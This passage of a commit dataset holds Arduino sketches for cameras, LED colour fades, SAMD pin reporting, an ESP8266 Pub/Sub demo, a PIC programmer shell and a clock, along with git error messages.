development\n","repos":"timkrentz\/SunTracker,timkrentz\/SunTracker,timkrentz\/SunTracker,timkrentz\/SunTracker,timkrentz\/SunTracker,timkrentz\/SunTracker,timkrentz\/SunTracker,timkrentz\/SunTracker","old_file":"Arduino\/ArduCAM\/ArduCAM_Tim_Dev_1\/ArduCAM_Tim_Dev_1.ino","new_file":"Arduino\/ArduCAM\/ArduCAM_Tim_Dev_1\/ArduCAM_Tim_Dev_1.ino","new_contents":"\n\/\/ ArduCAM demo (C)2015 Lee\n\/\/ web: http:\/\/www.ArduCAM.com\n\/\/ This program is a demo of how to use most of the functions\n\/\/ of the library with a supported camera modules.\n\/\/\n\/\/ This demo was made for Aptina MT9D111 standard camera module.\n\/\/ It will turn the ArduCAM into a real digital camera with capture and playback functions.\n\/\/ Before use this example, please uncomment the line #define MT9D111_CAM in the memorysaver.h file. \n\/\/ 1. Preview the live video on LCD Screen.\n\/\/ 2. Capture and buffer the image to FIFO when shutter pressed quickly.\n\/\/ 3. Store the image to Micro SD\/TF card with BMP format.\n\/\/ 4. Playback the capture photos one by one when shutter buttom hold on for 3 seconds.\n\/\/ This program requires the ArduCAM V3.3.0 (or above) library and Rev.C ArduCAM shield\n\/\/ and use Arduino IDE 1.5.8 compiler or above\n\n#include <UTFT_SPI.h>\n#include <SD.h>\n#include <Wire.h>\n#include \"ArduCAM.h\"\n#include <SPI.h>\n#include \"memorysaver.h\"\n\n#if defined(__arm__)\n#include <itoa.h>\n#endif\n\n#define SD_CS 9\n#define BMPIMAGEOFFSET 66\n\n\/\/ set pin 10 as the slave select for the ArduCAM shield\nconst int SPI_CS = 10;\n\nconst char bmp_header[BMPIMAGEOFFSET] PROGMEM =\n{\n 0x42, 0x4D, 0x36, 0x58, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x28, 0x00,\n 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x03, 0x00,\n 0x00, 0x00, 0x00, 0x58, 0x02, 0x00, 0xC4, 0x0E, 0x00, 0x00, 0xC4, 0x0E, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x00, 0x00, 0xE0, 0x07, 0x00, 0x00, 0x1F, 0x00,\n 0x00, 0x00\n};\n\n\n\nArduCAM myCAM(MT9D111_A, SPI_CS);\nUTFT myGLCD(SPI_CS);\n\nvoid setup()\n{\n uint8_t vid, pid;\n uint8_t temp;\n\n#if defined (__AVR__)\n Wire.begin();\n#endif\n#if defined(__arm__)\n Wire1.begin();\n#endif\n Serial.begin(115200);\n Serial.println(\"ArduCAM Start!\");\n\n \/\/ set the SPI_CS as an output:\n pinMode(SPI_CS, OUTPUT);\n\n \/\/ initialize SPI:\n SPI.begin();\n \/\/Check if the ArduCAM SPI bus is OK\n myCAM.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM.read_reg(ARDUCHIP_TEST1);\n if (temp != 0x55)\n {\n Serial.println(\"SPI interface Error!\");\n while (1);\n }\n\n \/\/Change MCU mode\n myCAM.set_mode(MCU2LCD_MODE);\n\n \/\/Initialize the LCD Module\n myGLCD.InitLCD();\n\n myCAM.InitCAM();\n myCAM.set_format(JPEG);\n\n \/\/Initialize SD Card\n if (!SD.begin(SD_CS))\n {\n \/\/while (1);\t\t\/\/If failed, stop here\n Serial.println(\"SD Card Error\");\n }\n else\n Serial.println(\"SD Card detected!\");\n}\n\nvoid loop()\n{\n uint8_t temp,temp_last;\n uint8_t start_capture = 0;\n \n temp = Serial.read();\n start_capture = 1;\n Serial.println(\"Start Capture\"); \n myCAM.flush_fifo();\n \/\/start_capture = 1;\n if(start_capture)\n {\n \/\/Clear the capture done flag \n myCAM.clear_fifo_flag();\t \n \/\/Start capture\n myCAM.start_capture();\t \n }\n if(myCAM.get_bit(ARDUCHIP_TRIG,CAP_DONE_MASK))\n {\n Serial.println(\"Capture Done!\");\n\n while( (temp != 0xD9) | (temp_last != 0xFF) )\n {\n temp_last = temp;\n\ttemp = myCAM.read_fifo();\n\tSerial.write(temp);\n }\n \n\n \/\/Clear the capture done flag \n myCAM.clear_fifo_flag();\n start_capture = 0;\n \/*\n char str[8];\n static int k = 0;\n uint8_t temp;\n myCAM.set_mode(CAM2LCD_MODE);\t\t \t\/\/Switch to CAM\n\n while (1)\n {\n\n if (!myCAM.get_bit(ARDUCHIP_TRIG, VSYNC_MASK))\t\t\/\/New Frame is coming\n {\n myCAM.set_mode(MCU2LCD_MODE); \t\/\/Switch to MCU\n myGLCD.resetXY();\n myCAM.set_mode(CAM2LCD_MODE); \t\/\/Switch to CAM\n while (!myCAM.get_bit(ARDUCHIP_TRIG, VSYNC_MASK)); \t\/\/Wait for VSYNC is gone\n }\n else if (myCAM.get_bit(ARDUCHIP_TRIG, SHUTTER_MASK))\n {\n k = k + 1;\n itoa(k, str, 10);\n strcat(str, \".bmp\");\t\t\t\t\/\/Generate file name\n myCAM.set_mode(MCU2LCD_MODE); \t\/\/Switch to MCU, freeze the screen\n GrabImage(str);\n }\n }\n *\/\n }\n}\n\n\/*\nvoid GrabImage(char* str)\n{\n File outFile;\n char VH, VL;\n uint8_t temp;\n byte buf[256];\n static int k = 0;\n int i, j = 0;\n\n outFile = SD.open(str, O_WRITE | O_CREAT | O_TRUNC);\n if (! outFile)\n {\n Serial.println(\"Open File Error\");\n return;\n }\n\n \/\/Switch to FIFO Mode\n myCAM.write_reg(ARDUCHIP_TIM, MODE_MASK);\n \/\/Flush the FIFO\n myCAM.flush_fifo();\n \/\/Start capture\n myCAM.start_capture();\n Serial.println(\"Start Capture\");\n\n \/\/Polling the capture done flag\n while (!myCAM.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK));\n Serial.println(\"Capture Done!\");\n\n k = 0;\n \/\/Write the BMP header\n for ( i = 0; i < BMPIMAGEOFFSET; i++)\n {\n char ch = pgm_read_byte(&bmp_header[i]);\n buf[k++] = ch;\n }\n outFile.write(buf, k);\n \/\/Read the first dummy byte\n myCAM.read_fifo();\n\n k = 0;\n \/\/Read 320x240x2 byte from FIFO\n \/\/Save as RGB565 bmp format\n for (i = 0; i < 240; i++)\n for (j = 0; j < 320; j++)\n {\n VH = myCAM.read_fifo();\n VL = myCAM.read_fifo();\n buf[k++] = VL;\n buf[k++] = VH;\n \/\/Write image data to bufer if not full\n if (k >= 256)\n {\n \/\/Write 256 bytes image data to file from buffer\n outFile.write(buf, 256);\n k = 0;\n }\n }\n \/\/Close the file\n outFile.close();\n \/\/Clear the capture done flag\n myCAM.clear_fifo_flag();\n\n \/\/Switch to LCD Mode\n myCAM.write_reg(ARDUCHIP_TIM, 0);\n return;\n}\n*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/ArduCAM\/ArduCAM_Tim_Dev_1\/ArduCAM_Tim_Dev_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d27ddefcac7f55caeb9c48af1ac8b1586d807259","subject":"Got the csv value display working","message":"Got the csv value display working\n","repos":"WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015","old_file":"display\/live_market_led_display_serial_csv\/led_market_display_serial_csv\/led_market_display_serial_csv.ino","new_file":"display\/live_market_led_display_serial_csv\/led_market_display_serial_csv\/led_market_display_serial_csv.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/WestwoodRobotics\/BEST-2015.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9306352ebc021da7d2149066216afa6051df5b27","subject":"add FadeColorHsv variant","message":"add FadeColorHsv variant\n","repos":"chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer","old_file":"examples-ltc\/4.RainbowTape\/5_FadeColor\/FadeColorHsv.ino","new_file":"examples-ltc\/4.RainbowTape\/5_FadeColor\/FadeColorHsv.ino","new_contents":"\/\/ Love to Code\n\n\/\/ Rainbow tape \"Fade Color\" demo.\n\n\/\/ This simple demo enables you to fade a pixel between two colors\n\/\/ In this variant, we fade using HSV space, instead of alpha blending\n\n\/\/ select colors codes using the \"Rainbow Gadget\".\n\/\/ or use any color from https:\/\/github.com\/chibitronics\/ltc-compiler-layer\/blob\/master\/support\/html_colors.h\n#include \"html_colors.h\"\nint pix0_colorA = 0x17c7d1; \/\/ can specify color as hex code\nint pix0_colorB = COLOR_DARKRED; \/\/ or specify color as html-standard name\nint pix0_speed = 3; \/\/ a number 0-100\nint pix0_brightness = 50; \/\/ a number 0-100\n\nint pix1_colorA = COLOR_GREEN;\nint pix1_colorB = COLOR_RED;\nint pix1_speed = 5;\nint pix1_brightness = 20;\n\nint pix2_colorA = COLOR_BLUE;\nint pix2_colorB = COLOR_HOTPINK;\nint pix2_speed = 4;\nint pix2_brightness = 100;\n\nint pix3_colorA = COLOR_TEAL;\nint pix3_colorB = COLOR_FUCHSIA;\nint pix3_speed = 3;\nint pix3_brightness = 80;\n\nint pix4_colorA = COLOR_RED;\nint pix4_colorB = COLOR_BLUE;\nint pix4_speed = 2;\nint pix4_brightness = 15;\n\n#include \"Adafruit_NeoPixel.h\"\n\n#define pixelCount 5 \/\/ number of pixels in the chain; doesn't hurt to have less actual pixels in your project\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(pixelCount, LED_BUILTIN_RGB, NEO_GRB + NEO_KHZ800);\n\ntypedef struct RgbColor {\n uint8_t r;\n uint8_t g;\n uint8_t b;\n} RgbColor;\n\ntypedef struct HsvColor {\n int h;\n int s;\n int v;\n} HsvColor;\n\n\/\/ from https:\/\/gist.github.com\/mity\/6034000\n#define HUE_DEGREE 512 \/\/ hue is 0 ... (360*HUE_DEGREE - 1)\n#define MIN(a,b) ((a) < (b) ? (a) : (b))\n#define MAX(a,b) ((a) > (b) ? (a) : (b))\n\n#define MIN3(a,b,c) MIN((a), MIN((b), (c)))\n#define MAX3(a,b,c) MAX((a), MAX((b), (c)))\n\nvoid rgb2hsv(uint8_t r, uint8_t g, uint8_t b, HsvColor* hsv) {\n int m = MIN3(r, g, b);\n int M = MAX3(r, g, b);\n int delta = M - m;\n\n if(delta == 0) {\n \/* Achromatic case (i.e. grayscale) *\/\n hsv->h = -1; \/* undefined *\/\n hsv->s = 0;\n } else {\n int h;\n\n if(r == M)\n h = ((g-b)*60*HUE_DEGREE) \/ delta;\n else if(g == M)\n h = ((b-r)*60*HUE_DEGREE) \/ delta + 120*HUE_DEGREE;\n else \/*if(b == M)*\/\n h = ((r-g)*60*HUE_DEGREE) \/ delta + 240*HUE_DEGREE;\n\n if(h < 0)\n h += 360*HUE_DEGREE;\n\n hsv->h = h;\n\n \/* The constatnt 8 is tuned to statistically cause as little\n * tolerated mismatches as possible in RGB -> HSV -> RGB conversion.\n * (See the unit test at the bottom of this file.)\n *\/\n hsv->s = (256*delta-8) \/ M;\n }\n hsv->v = M;\n}\n\nvoid hsv2rgb(int h, int s, int v, RgbColor *c) {\n uint8_t r, g, b;\n\n if(s == 0) {\n r = g = b = v;\n } else {\n int i = h \/ (60*HUE_DEGREE);\n int p = (256*v - s*v) \/ 256;\n\n if(i & 1) {\n int q = (256*60*HUE_DEGREE*v - h*s*v + 60*HUE_DEGREE*s*v*i) \/ (256*60*HUE_DEGREE);\n switch(i) {\n case 1: r = q; g = v; b = p; break;\n case 3: r = p; g = q; b = v; break;\n case 5: r = v; g = p; b = q; break;\n }\n } else {\n int t = (256*60*HUE_DEGREE*v + h*s*v - 60*HUE_DEGREE*s*v*(i+1)) \/ (256*60*HUE_DEGREE);\n switch(i) {\n case 0: r = v; g = t; b = p; break;\n case 2: r = p; g = v; b = t; break;\n case 4: r = t; g = p; b = v; break;\n }\n }\n }\n\n c->r = r;\n c->g = g;\n c->b = b;\n}\n\n\/\/ blend 8-bit number, alpha is a number 1-100\nuint8_t blend8(uint8_t a, uint8_t b, uint8_t alpha) {\n if( alpha < 1 )\n alpha = 0;\n if( alpha > 100 )\n alpha = 100;\n\n uint32_t retval = (((uint32_t)a) * alpha) + (((uint32_t)b) * (100 - alpha));\n retval \/= 100;\n if( retval > 255 )\n retval = 255;\n return( (uint8_t) retval );\n}\n\nRgbColor blend_rgb(RgbColor a, RgbColor b, uint8_t alpha) {\n RgbColor result;\n\n result.r = blend8(a.r, b.r, alpha);\n result.g = blend8(a.g, b.g, alpha);\n result.b = blend8(a.b, b.b, alpha);\n\n return result;\n}\n\n\/\/ alpha is 0-100\nvoid blend_hsv( HsvColor a, HsvColor b, int alpha, HsvColor *c ) {\n c->h = (a.h * alpha + b.h * (100 - alpha)) \/ 100;\n c->s = (a.s * alpha + b.s * (100 - alpha)) \/ 100;\n c->v = (a.v * alpha + b.v * (100 - alpha)) \/ 100;\n}\n\n\nuint8_t alpha8(uint8_t a, uint8_t alpha) {\n uint32_t q;\n\n if( alpha > 100 )\n alpha = 100;\n \n q = (uint32_t) a * (uint32_t) alpha;\n\n return (uint8_t) ((q \/ 100) & 0xFF);\n}\n\nRgbColor alpha_rgb(RgbColor a, uint8_t alpha) {\n RgbColor result;\n\n result.r = alpha8(a.r, alpha);\n result.g = alpha8(a.g, alpha);\n result.b = alpha8(a.b, alpha);\n\n return result;\n}\n\nRgbColor hexcolor_to_rgb(uint32_t hexcolor) {\n RgbColor result;\n\n result.r = (hexcolor >> 16) & 0xff;\n result.g = (hexcolor >> 8) & 0xff;\n result.b = (hexcolor >> 0) & 0xff;\n\n return result;\n}\n\nuint32_t rgb_to_hexcolor(RgbColor rgbcolor) {\n return rgbcolor.r << 16 | rgbcolor.g << 8 | rgbcolor.b;\n}\n\nstruct pix_config {\n HsvColor colorA;\n HsvColor colorB;\n int speed;\n uint8_t brightness;\n int state;\n};\nstatic pix_config config[pixelCount]; \n\nRgbColor rgb_a;\nRgbColor rgb_b;\nint step = 0;\nint rate = 3;\n\nvoid setup() {\n int i;\n RgbColor c;\n\n strip.begin();\n strip.show();\n\n rgb2hsv((pix0_colorA >> 16) & 0xff, (pix0_colorA >> 8 & 0xff), pix0_colorA & 0xff,\n\t &config[0].colorA);\n rgb2hsv((pix0_colorB >> 16) & 0xff, (pix0_colorB >> 8 & 0xff), pix0_colorB & 0xff,\n\t &config[0].colorB);\n config[0].speed = pix0_speed;\n config[0].brightness = pix0_brightness;\n\n rgb2hsv((pix1_colorA >> 16) & 0xff, (pix1_colorA >> 8 & 0xff), pix1_colorA & 0xff,\n\t &config[1].colorA);\n rgb2hsv((pix1_colorB >> 16) & 0xff, (pix1_colorB >> 8 & 0xff), pix1_colorB & 0xff,\n\t &config[1].colorB);\n config[1].speed = pix1_speed;\n config[1].brightness = pix1_brightness;\n \n rgb2hsv((pix2_colorA >> 16) & 0xff, (pix2_colorA >> 8 & 0xff), pix2_colorA & 0xff,\n\t &config[2].colorA);\n rgb2hsv((pix2_colorB >> 26) & 0xff, (pix2_colorB >> 8 & 0xff), pix2_colorB & 0xff,\n\t &config[2].colorB);\n config[2].speed = pix2_speed;\n config[2].brightness = pix2_brightness;\n\n rgb2hsv((pix3_colorA >> 16) & 0xff, (pix3_colorA >> 8 & 0xff), pix3_colorA & 0xff,\n\t &config[3].colorA);\n rgb2hsv((pix3_colorB >> 26) & 0xff, (pix3_colorB >> 8 & 0xff), pix3_colorB & 0xff,\n\t &config[3].colorB);\n config[3].speed = pix3_speed;\n config[3].brightness = pix3_brightness;\n\n rgb2hsv((pix4_colorA >> 16) & 0xff, (pix4_colorA >> 8 & 0xff), pix4_colorA & 0xff,\n\t &config[4].colorA);\n rgb2hsv((pix4_colorB >> 26) & 0xff, (pix4_colorB >> 8 & 0xff), pix4_colorB & 0xff,\n\t &config[4].colorB);\n config[4].speed = pix4_speed;\n config[4].brightness = pix4_brightness;\n\n for( i = 0; i < pixelCount; i++ ) {\n config[i].state = 0;\n hsv2rgb(config[i].colorA.h, config[i].colorA.s, config[i].colorA.v, &c);\n strip.setPixelColor(i, rgb_to_hexcolor(alpha_rgb(c, config[i].brightness)));\n }\n \n strip.show();\n}\n\nvoid loop() {\n HsvColor blended;\n RgbColor blended_rgb;\n uint8_t fadevalue;\n int i;\n\n for( i = 0; i < pixelCount; i++ ) {\n blend_hsv( config[i].colorA, config[i].colorB, config[i].state, &blended );\n\n if( config[i].state < 50 ) {\n fadevalue = 100 - 2 * config[i].state;\n } else {\n fadevalue = (config[i].state - 50) * 2;\n }\n hsv2rgb( blended.h, blended.s, blended.v, &blended_rgb );\n blended_rgb = alpha_rgb( blended_rgb, fadevalue );\n blended_rgb = alpha_rgb( blended_rgb, config[i].brightness );\n\n strip.setPixelColor(i, rgb_to_hexcolor(blended_rgb));\n \n config[i].state = config[i].state + config[i].speed;\n if( config[i].state <= 0 || config[i].state >= 100 ) {\n config[i].speed = -config[i].speed;\n }\n if( config[i].state <= 0 )\n config[i].state = 0;\n if( config[i].state >= 100 )\n config[i].state = 100;\n }\n\n strip.show();\n \n delay(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples-ltc\/4.RainbowTape\/5_FadeColor\/FadeColorHsv.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"363bd3b1387174580455020e4d786b778a3ac3cf","subject":"Initial working implementation (limited decoding)","message":"Initial working implementation (limited decoding)\n","repos":"WestfW\/ArduinoZero-PMUX-report,WestfW\/ArduinoZero-PMUX-report","old_file":"SAMD_pins.ino","new_file":"SAMD_pins.ino","new_contents":"#include <Wire.h>\n#include <SPI.h>\n\n#define mySerial SerialUSB\n\n\/*\n Pin multiplexer value names (PMUXn.PMUXE\/O)\n*\/\nconst char *pinmux_names[8] = {\n \"EIC\", \/\/ \"A\": External Interrupts\n \"ADC\", \/\/ \"B\": REF, ADC, AC, PTC, DAC\n \"SERCOM\", \/* \"C\": SerCom *\/\n \"SERCOMALT\", \/* \"D\": Alternate SERCOM *\/\n \"TC\/TCC\", \/* \"E\": TC or TCC Timer *\/\n \"TCC\", \/* \"F\": TCC Timer*\/\n \"COM\", \/* \"G\": Other Comm - USB, I2S *\/\n \"AC\/GCLK\" \/* \"H\": Analog Comparator or GCLKs *\/\n};\n\nboolean print_pinno(int i)\n{\n int pintype = g_APinDescription[i].ulPinType;\n if (pintype == PIO_NOT_A_PIN) {\n return false;\n }\n mySerial.print(i);\n if (i < 10)\n mySerial.print(\" \");\n if (pintype == PIO_ANALOG) { \/\/ try to detect and renumber Analog pins.\n mySerial.print(\" (A\");\n mySerial.print(i - PIN_A0);\n mySerial.print(\") \");\n } else {\n mySerial.print(\" \");\n }\n return true;\n}\n\nvoid print_pinmux(int pmuxval)\n{\n mySerial.print(\"PMUX\");\n mySerial.print(\"(\");\n mySerial.print(pmuxval);\n mySerial.print(\") \");\n mySerial.print(pinmux_names[pmuxval]);\n}\n\nvoid setup() {\n mySerial.begin(9600);\n while (!mySerial)\n ;\n mySerial.println(\"SAMD Pin State Report\");\n mySerial.println();\n\n \/\/ Set some pins up doing something different, so that the display will be\n \/\/ more ... interesting.\n Serial1.begin(9600);\n Serial.begin(9600);\n SPI.begin();\n Wire.begin();\n for (int j = 0; j < 6; j++)\n (void) analogRead(j); \/\/ read from analog pins\n}\n\nvoid loop() {\n for (int pin = 0; pin < PINS_COUNT; pin++) {\n if (print_pinno(pin)) { \/\/ Does pin exist?\n\n int bitno = g_APinDescription[pin].ulPin;\n PortGroup *port = digitalPinToPort(pin);\n int pmuxval;\n\n if (port->PINCFG[bitno].bit.PMUXEN) { \/\/ Is pinmux enabled?\n \/\/ If pinmux is enabled, further report it's value\n if (bitno & 1) {\n \/\/ Odd pin numbers\n pmuxval = port->PMUX[bitno \/ 2].bit.PMUXO;\n } else {\n pmuxval = port->PMUX[bitno \/ 2].bit.PMUXE;\n }\n print_pinmux(pmuxval);\n } else {\n \/\/ Pinmux not enabled - port is GPIO\n mySerial.print(\"GPIO \");\n if (port->DIR.reg & (1 << bitno)) { \/\/ Decode pinmode (direction.)\n mySerial.print(\"O\");\n } else {\n mySerial.print(\"I\");\n }\n } \/\/ Pinmux or GPIO\n } \/\/ Pin existance\n mySerial.println();\n } \/\/ \"pin\" for loop\n\n while (mySerial.read() < 0)\n ; \/\/ wait for character to run again.\n mySerial.println(\"\\nRunning again!\\n\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SAMD_pins.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bb6b052fe593d98e6c2302213fd0e694e7bfe89a","subject":"Update ProbeCube_pc_v099b0224.ino","message":"Update ProbeCube_pc_v099b0224.ino","repos":"Lafudoci\/ProbeCube","old_file":"Photon based\/code\/ProbeCube_pc_v099b0224.ino","new_file":"Photon based\/code\/ProbeCube_pc_v099b0224.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Photon' did not match any file(s) known to git\nerror: pathspec 'based\/code\/ProbeCube_pc_v099b0224.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e7a33d2af31946a0ac4ea42f9d71557f364cbdf5","subject":"Added a bit and took out serial stuff in order to test this timer with the oscilloscope. It works, and well! Not going to characterize it further -- I need to use it! Maybe later, but moving onto the next step, for now...","message":"Added a bit and took out serial stuff in order to test this timer with the oscilloscope. It works, and well! Not going to characterize it further -- I need to use it! Maybe later, but moving onto the next step, for now...\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testTimerTwo\/testTimerTwo.ino","new_file":"Motor Speed\/testTimerTwo\/testTimerTwo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testTimerTwo\/testTimerTwo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c57c0e73f477df823946b60be1af7d3443b09f62","subject":"Added cloud pubsub hello world","message":"Added cloud pubsub hello world\n","repos":"mimming\/snippets,mimming\/snippets,mimming\/snippets,mimming\/snippets,mimming\/snippets,mimming\/snippets","old_file":"2016-02-12-cloud-pubsub-esp8266\/experiment.ino","new_file":"2016-02-12-cloud-pubsub-esp8266\/experiment.ino","new_contents":"\/**\n * Copyright 2016 Google Inc. All Rights Reserved.\n *\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n \/**\n Here's my Cloud Pub\/Sub hello world! \n Create an OAuth token, paste it into this file, and your ESP8266 \n will push a payload to Cloud Pub\/Sub until it expires.\n\n Next up: Get auth working\n Someday: Build a library around this\n *\/\n#include <ESP8266WiFi.h>\n#include <ESP8266HTTPClient.h>\n\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ connect to wifi.\n WiFi.begin(\"WIFI_SSID\");\n Serial.print(\"connecting\");\n while (WiFi.status() != WL_CONNECTED) {\n Serial.print(\".\");\n delay(500);\n }\n Serial.println();\n Serial.print(\"connected: \");\n Serial.println(WiFi.localIP());\n\n \/\/ Send an http request\n String url = \"\";\n HTTPClient http;\n http.begin(\"https:\/\/pubsub.googleapis.com\/v1\/projects\/mimming-demo\/topics\/esp8266hello:publish\", \"A0 F0 5C 41 6A 66 54 6E 26 C6 8B E6 39 0E 32 51 51 9D A3 23\");\n http.addHeader(\"content-type\", \"application\/json\");\n http.addHeader(\"authorization\", \"Bearer OAUTH_TOKEN_GOES_HERE\");\n String value = \"{\\\"messages\\\": [{\\\"data\\\": \\\"SGVsbG8gQ2xvdWQgUHViL1N1YiEgSGVyZSBpcyBteSBtZXNzYWdlIQ==\\\"}]}\";\n int statusCode = http.sendRequest(\"POST\", (uint8_t*)value.c_str(), value.length());\n \n Serial.println(statusCode);\n Serial.println(http.getString());\n}\n\nvoid loop() {\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '2016-02-12-cloud-pubsub-esp8266\/experiment.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ed95041a574a548b52f8c66d960afc6f8169f9e1","subject":"Added: first version of programmer that accepts commands via Serial communication","message":"Added: first version of programmer that accepts commands via Serial communication\n","repos":"MrApplejuice\/arduino-pic-programmer,MrApplejuice\/arduino-pic-programmer","old_file":"pic_programmer_prototype\/pic_programmer_prototype.ino","new_file":"pic_programmer_prototype\/pic_programmer_prototype.ino","new_contents":"#include <stdlib.h>\n\n#include <StringSplitter.h>\n\nconst int POWER_PIN = 40;\nconst int PROG_POWER_PIN = 41;\n\nclass Command {\n public:\n typedef Command* Ptr;\n \n virtual bool match(const String& name) const;\n virtual void execute(const String& commandString);\n virtual void printHelpString() const;\n};\n\nconst size_t COMMAND_COUNT = 1;\nCommand::Ptr commands[1] = {nullptr};\n\nclass HelpCommand : public Command {\n public:\n virtual bool match(const String& name) const {\n return name == \"help\";\n }\n \n virtual void execute(const String& commandString) {\n Serial.println(\"Available commands:\");\n for (size_t i = 0; i < COMMAND_COUNT; i++) {\n commands[i]->printHelpString();\n }\n }\n \n virtual void printHelpString() const {\n Serial.println(\" help prints this help screen\");\n }\n};\n\nvoid setup() {\n commands[0] = new HelpCommand();\n \n Serial.begin(57600);\n}\n\nvoid loop() {\n String cmd = Serial.readString();\n cmd.trim();\n if (cmd.length() > 0) {\n bool cmatched = false;\n for (int i = 0; i < COMMAND_COUNT; i++) {\n if (commands[i]->match(cmd)) {\n commands[i]->execute(cmd);\n cmatched = true;\n break;\n }\n }\n if (!cmatched) {\n Serial.println(\"invalid command, use 'help' to show all available commands\");\n }\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a9fcdd67322bff31fbc81c687ed86dd9b6643b67","subject":"horloge_cycles_ultradiens","message":"horloge_cycles_ultradiens\n","repos":"NicHub\/ouilogique.com,NicHub\/ouilogique.com,NicHub\/ouilogique.com,NicHub\/ouilogique.com,NicHub\/ouilogique.com,NicHub\/ouilogique.com,NicHub\/ouilogique.com","old_file":"files\/horloge_cycles_ultradiens\/horloge_cycles_ultradiens.ino","new_file":"files\/horloge_cycles_ultradiens\/horloge_cycles_ultradiens.ino","new_contents":"\/*\n\nHORLOGE \u00c0 CYCLES ULTRADIENS\n\nhttp:\/\/ouilogique.com\/horloge_cycles_ultradiens\/\n\nDESCRIPTION DU PROGRAMME\nCe programme affiche le pourcentage d\u2019attention d\u2019une personne en fonction de l\u2019heure. Il se base sur les hypoth\u00e8ses suivantes\u00a0:\n- Le corps humain est soumis \u00e0 des cycles d\u2019attention d\u2019une dur\u00e9e d\u2019une heure et demie, soit 16 cycles de 5400 secondes par jour.\n- Lors de ces cycles, l\u2019attention passe par un minimum et par un maximum et peut \u00eatre repr\u00e9sent\u00e9e sous la forme d\u2019un cosinus.\n- Le seul param\u00e8tre qui change d\u2019une personne \u00e0 l\u2019autre est le d\u00e9phasage de la courbe.\n\nPour utiliser ce programme, il faut donc conna\u00eetre une des 16 heures d\u2019attention maximum possibles lors d\u2019une journ\u00e9e et de modifier la constante \u201cheureAttentionMax\u201d en cons\u00e9quence.\n\nPour mettre \u00e0 jour l\u2019heure de l\u2019horloge, il faut changer la valeur de \u201cavecSerial\u201d \u00e0 \u201ctrue\u201d et recharger le programme sur le microcontr\u00f4leur. Cette valeur est \u00e0 \u201cfalse\u201d par d\u00e9faut pour limiter l\u2019utilisation de la RAM.\n\n\nHORLOGE DS1307 I\u00b2C\n R\u00c9F\u00c9RENCE AliExpress\n http:\/\/fr.aliexpress.com\/item\/5pcs-lot-Tiny-RTC-I2C-AT24C32-DS1307-Real-Time-Clock-Module-Board-For-Arduino-With-A\/32327865928.html\n\n ADRESSES I\u00b2C\n 0x50 (EEPROM AT24C32)\n 0x68 (DS1307)\n\n LIBRAIRIE Adafruit\n https:\/\/github.com\/adafruit\/RTClib.git\n\n CONNEXIONS\n GND GND\n VCC +5V\n SDA pin A4\n SCL pin A5\n\n\u00c9CRAN OLED 128\u00d764 I\u00b2C\n R\u00c9F\u00c9RENCE AliExpress\n http:\/\/fr.aliexpress.com\/item\/1Pcs-Yellow-blue-double-color-128X64-OLED-LCD-LED-Display-Module-For-Arduino-0-96\/32305641669.html\n\n ADRESSE I\u00b2C\n 0x3C\n\n LIBRAIRIE Adafruit\n https:\/\/github.com\/adafruit\/Adafruit_SSD1306.git\n\n CONNEXIONS\n GND GND\n VDD +5V\n SCK pin A5\n SDA pin A4\n\nPULLUPS I\u00b2C\n 4.7 k\u03a9\n\nMICROCONTR\u00d4LEUR\n Clone Arduino Nano\n\njuin 2016, ouilogique.com\n\n*\/\n\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <math.h>\n#include \"RTClib.h\"\nRTC_DS1307 RTC = RTC_DS1307();\n#include <Adafruit_SSD1306.h>\n#define OLED_RESET 4\nAdafruit_SSD1306 display( OLED_RESET );\n#if( SSD1306_LCDHEIGHT != 64 )\n#error( \"Height incorrect, please fix 